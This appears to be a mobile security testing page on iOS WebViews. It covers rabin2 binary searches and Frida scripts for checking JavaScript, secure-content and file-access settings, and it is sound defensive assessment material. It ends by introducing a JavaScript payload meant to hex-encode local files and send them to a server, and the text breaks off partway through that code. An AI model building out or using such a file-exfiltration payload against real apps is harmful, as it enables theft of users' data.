# iOS WebViews
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The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
## WebViews types
WebViews are utilized within applications to display web content interactively. Various types of WebViews offer different functionalities and security features for iOS applications. Here's a brief overview:
- **UIWebView**, which is no longer recommended from iOS 12 onwards due to its lack of support for disabling **JavaScript**, making it susceptible to script injection and **Cross-Site Scripting (XSS)** attacks.
- **WKWebView** is the preferred option for incorporating web content into apps, offering enhanced control over the content and security features. **JavaScript** is enabled by default, but it can be disabled if necessary. It also supports features to prevent JavaScript from automatically opening windows and ensures that all content is loaded securely. Additionally, **WKWebView**'s architecture minimizes the risk of memory corruption affecting the main app process.
- **SFSafariViewController** offers a standardized web browsing experience within apps, recognizable by its specific layout including a read-only address field, share and navigation buttons, and a direct link to open content in Safari. Unlike **WKWebView**, **JavaScript** cannot be disabled in **SFSafariViewController**, which also shares cookies and data with Safari, maintaining user privacy from the app. It must be displayed prominently according to App Store guidelines.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## WebViews Configuration Exploration Summary
### **Static Analysis Overview**
In the process of examining **WebViews** configurations, two primary types are focused on: **UIWebView** and **WKWebView**. For identifying these WebViews within a binary, commands are utilized, searching for specific class references and initialization methods.
- **UIWebView Identification**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
This command helps in locating instances of **UIWebView** by searching for text strings related to it in the binary.
- **WKWebView Identification**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Similarly, for **WKWebView**, this command searches the binary for text strings indicative of its usage.
Furthermore, to find how a **WKWebView** is initialized, the following command is executed, targeting the method signature related to its initialization:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **JavaScript Configuration Verification**
For **WKWebView**, it's highlighted that disabling JavaScript is a best practice unless required. The compiled binary is searched to confirm that the `javaScriptEnabled` property is set to `false`, ensuring that JavaScript is disabled:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Only Secure Content Verification**
**WKWebView** offers the capability to identify mixed content issues, contrasting with **UIWebView**. This is checked using the `hasOnlySecureContent` property to ensure all page resources are loaded through secure connections. The search in the compiled binary is performed as follows:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Dynamic Analysis Insights**
Dynamic analysis involves inspecting the heap for WebView instances and their properties. A script named `webviews_inspector.js` is used for this purpose, targeting `UIWebView`, `WKWebView`, and `SFSafariViewController` instances. It logs information about found instances, including URLs and settings related to JavaScript and secure content.
Heap inspection can be conducted using `ObjC.choose()` to identify WebView instances and check `javaScriptEnabled` and `hasonlysecurecontent` properties.
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
The script is executed with:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Key Outcomes**:
- Instances of WebViews are successfully located and inspected.
- JavaScript enablement and secure content settings are verified.
This summary encapsulates the critical steps and commands involved in analyzing WebView configurations through static and dynamic approaches, focusing on security features like JavaScript enablement and mixed content detection.
## WebView Protocol Handling
Handling content in WebViews is a critical aspect, especially when dealing with various protocols such as `http(s)://`, `file://`, and `tel://`. These protocols enable the loading of both remote and local content within apps. It is emphasized that when loading local content, precautions must be taken to prevent users from influencing the file's name or path and from editing the content itself.
**WebViews** offer different methods for content loading. For **UIWebView**, now deprecated, methods like `loadHTMLString:baseURL:` and `loadData:MIMEType:textEncodingName:baseURL:` are used. **WKWebView**, on the other hand, employs `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, and `loadRequest:` for web content. Methods such as `pathForResource:ofType:`, `URLForResource:withExtension:`, and `init(contentsOf:encoding:)` are typically utilized for loading local files. The method `loadFileURL:allowingReadAccessToURL:` is particularly notable for its ability to load a specific URL or directory into the WebView, potentially exposing sensitive data if a directory is specified.
To find these methods in the source code or compiled binary, commands like the following can be used:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
Regarding **file access**, UIWebView allows it universally, whereas WKWebView introduces `allowFileAccessFromFileURLs` and `allowUniversalAccessFromFileURLs` settings for managing access from file URLs, with both being false by default.
A Frida script example is provided to inspect **WKWebView** configurations for security settings:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
Lastly, an example of a JavaScript payload aimed at exfiltrating local files demonstrates the potential security risk associated with improperly configured WebViews. This payload encodes file contents into hex format before transmitting them to a server, highlighting the importance of stringent security measures in WebView implementations.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i